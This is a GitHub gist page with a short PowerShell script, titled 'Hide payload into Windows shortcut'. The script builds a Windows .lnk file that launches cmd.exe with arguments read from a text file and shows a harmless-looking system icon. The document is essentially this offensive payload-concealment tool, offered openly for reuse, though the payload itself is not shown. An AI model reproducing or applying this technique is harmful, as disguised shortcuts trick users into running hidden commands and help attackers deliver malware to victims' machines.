Skip to content

Instantly share code, notes, and snippets.

@jbarcia
Forked from 3gstudent/shortcut.ps1
Created January 2, 2017 03:19
Show Gist options
  • Save jbarcia/b1d0f1b410999d2524d86c5fb66f3d2c to your computer and use it in GitHub Desktop.
Save jbarcia/b1d0f1b410999d2524d86c5fb66f3d2c to your computer and use it in GitHub Desktop.
Hide payload into Windows shortcut
$file = Get-Content "c:\test\test.txt"
$WshShell = New-Object -comObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut("c:\test\test.lnk")
$Shortcut.TargetPath = "%SystemRoot%\system32\cmd.exe"
$Shortcut.IconLocation = "%SystemRoot%\System32\Shell32.dll,21"
$Shortcut.Arguments = ' '+ $file
$Shortcut.Save()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment